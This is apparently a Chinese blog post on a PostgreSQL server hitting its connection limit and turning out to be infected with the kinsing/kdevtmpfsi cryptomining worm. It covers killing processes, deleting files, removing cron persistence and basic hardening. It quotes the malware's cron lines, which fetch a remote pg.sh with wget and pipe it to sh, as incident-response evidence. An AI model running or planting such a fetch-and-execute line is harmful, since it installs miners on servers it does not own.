挖矿僵尸网络蠕虫病毒kdevtmpfsi处理过程

背景:

• pgsql连接时候报错org.postgresql.util.PSQLException: FATAL: sorry, too many clients already, 意思是client已经把连接池占满了.
  
• 使用ps -ef | grep postgres删除几个进程, 进入数据库运行SELECT * FROM pg_stat_activity, 发现大部分都是idle空闲状态的连接
  
• 然后修改/var/lib/pgsql/14/data/postgres.conf中的idle_session_timeout为2000(2s), 但是数据库中有警告(如下), 同时navicat中稍等2s后也会报这样异常, 但是再次运行就可以. 因为navicat/dbeaver也是通过连接池方式与数据库进行的连接
  2023-02-20 14:15:37.926 2023-02-20 14:15:37,926 [http-nio-80-exec-1459] WARN  com.zaxxer.hikari.pool.PoolBase 173 - HikariPool-98 - Failed to validate connection org.postgresql.jdbc.PgConnection@5e029bbb (This connection has been closed.)
  
• 后来只好将idle_session_timeout恢复, 然后尝试扩大线程池大小
  
• 但是线程池大小跟服务器配置有关, 默认的大小是100, 在postgres.conf中修改max_connections为200, 重启数据库虽然可以正常使用, 但是在tomcat重启时(war包会依次重新部署), 服务器因为数据库连接池太大, 导致tomcat启动失败(可能是堆栈溢出了).
  
• 再次尝试调整到150, 虽然可以正常使用, 但是postgres会占用cpu太高, 300%左右, 只好调整回100.
  
• 在pgsql高版本中对此也有一部分配置, 比如每隔几分钟会发现无效连接并进行关闭, 可以减轻部分连接池压力(详情见参考1)
  1. 一、idle_session_timeout参数
  3. 用来控制空闲会话连接超时的时间。区别于tcp_keepalives相关参数，
  5. 当一个会话连接长时间没有执行SQL或者活动时，会将该会话释放，可以释放缓存避免出现例如OOM等问题
  7. idle_session_timeout：默认值为0，表示禁用，其单位是毫秒;
  9. 14版本引入了idle_session_timeout参数，可以在设置该参数，超过设置的时间，数据库会关闭空闲连接。之前的老版本可以使用pg_timeout插件，达到同样的效果。但是同样也会关闭掉我们想保留的正常的空闲连接，所以设置TCP keepalive是更好的解决方案。
  11. 二、postgresql的tcp_keepalives相关参数设置可以及时发现无效连接，
  13. 如下这样可以在5分钟以内就探测出无效连接
  15. tcp_keepalives_idle = 60 # TCP_KEEPIDLE, in seconds;
  17. tcp_keepalives_interval = 20 # TCP_KEEPINTVL, in seconds;
  19. tcp_keepalives_count = 10 # TCP_KEEPCNT;
  21. 三、PG14版本还引入了client_connection_check_interval参数,
  23. 每隔一段时间检测client是否离线（断开），如果已经离线，则快速结束掉正在运行的query，，浪费数据库资源。默认是0，单位默认毫秒
  25. 官方文档解释：
  27. client_connection_check_interval = 0 # time between checks for client # disconnection while running queries; 0 for never

  复制代码

• 就在调整回100后过了半个小时, 进服务器使用top复查时, 发现了一个还有一个线程占用了388.0%, 名称为kdevtmpfsi, 经过百度发现这是个在20年处爆发的挖矿僵尸网络蠕虫病毒, 但是网上都是说是通过redis未授权或弱口令作为入口进行侵入的, 但是这次遇到的情况却不是因为redis引起的.
  
  
• 第一步肯定是先把进程停了: 使用kill -9 pid停止进程, 发现有个依赖进程kinsing, 那就先使用ps -ef | grep kinsing找到对应的pid停止即可.
  
• 如果到这一步停止的话, 过不了多久他会自动重新启动的.
  
• 继续挖, 全盘查找这两个文件 find / kinsing发现只有/tmp中有, 我第一次时候直接rm -f /tmp/kinsing删除了这两个文件, 然后就束手无策了, 但是在一小时左右时候kinsing又重新生成了.
  
• 通过ll发现kinsing的拥有者是postgres, 这时才确定了是pgsql引起的, 而不是redis引起的
  
  
• 接下来就好说了, 首先删除kinsing文件
  
• 使用crontab指令(下方是使用说明)找出postgres创建的定时任务, 删除掉即可.
  

1. Usage:
2. crontab [options] file
3. crontab [options]
4. crontab -n [hostname]
6. Options:
7. -u <user>  define user
8. -e         edit user's crontab
9. -l         list user's crontab
10. -r         delete user's crontab
11. -i         prompt before deleting
12. -n <host>  set host in cluster to run users' crontabs
13. -c         get host in cluster to run users' crontabs
14. -s         selinux context
15. -V         print version and exit
16. -x <mask>  enable debugging

复制代码

-u 定义用户(谁建立的)
-e 修改用户创建的定时任务
-l 列举出用户创建的定时任务
-r 删除用户创建的定时任务
crontab -u postgres -e 使用默认编辑器打开postgres创建的定时任务, 对应的定时任务文件在/var/spool/cron/目录下.
显示:

1. * * * * * wget -q -O - http://[ip]/pg.sh | sh > /dev/null 2>&1
2. * * * * * wget -q -O - http://[other ip]/pg.sh | sh > /dev/null 2>&1

复制代码

删除的话直接使用vim指令dd全部删除, :wq保存退出即可.
哪些有风险呢? 通过寻找解决之法时候发现包括但不限于以下几种

• redis
  
• pgsql
  
• php
  

如何避免呢?

• 服务器上只开放使用到的服务器
  
• 尽量不使用默认端口(如: 3306, 5432, 8848)
  
• 不用使用默认密码, 一定修改密码, 且复杂度高一些
  
• 安装包使用官方版本
  

参考1: postgresql空闲连接以及连接有效性检查的参数小结
参考2: Postgres数据库修改最大连接数
参考3: 记一次服务器 linux（centos7）被 postgres 病毒攻击, 挖矿的事故
参考4: 阿里云服务器中挖矿病毒了，名称为 kinsing
参考5: kdevtmpfsi using 100% of CPU?
参考6: 关于linux病毒kinsing kdevtmpfsi 的处理
参考7: Linux服务器kdevtmpfsi挖矿病毒解决方法：治标+治本
参考8: kdevtmpfsi 处理（挖矿病毒清除）
参考9: 威胁快报|Redis RCE导致h2Miner蠕虫新一轮爆发，建议用户及时排查以防事态升级
参考10: linux - kdevtmpfsi using the entire CPU

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！